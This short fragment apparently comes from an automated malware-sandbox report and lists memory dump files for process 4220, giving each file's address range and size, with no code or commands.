      • memory/4220-21-0x0000000005AB0000-0x0000000005E04000-memory.dmp

        Filesize

        3.3MB

      • memory/4220-11-0x0000000005A40000-0x0000000005AA6000-memory.dmp

        Filesize

        408KB

      • memory/4220-10-0x00000000059D0000-0x0000000005A36000-memory.dmp

        Filesize

        408KB

      • memory/4220-9-0x00000000051E0000-0x0000000005202000-memory.dmp

        Filesize

        136KB

      • memory/4220-8-0x0000000074570000-0x0000000074D20000-memory.dmp

        Filesize

        7.7MB

      • memory/4220-7-0x0000000074570000-0x0000000074D20000-memory.dmp

        Filesize

        7.7MB

      • memory/4220-6-0x0000000005270000-0x0000000005898000-memory.dmp

        Filesize

        6.2MB

      • memory/4220-5-0x0000000004AD0000-0x0000000004B06000-memory.dmp

        Filesize

        216KB

      • memory/4220-4-0x000000007457E000-0x000000007457F000-memory.dmp

        Filesize

        4KB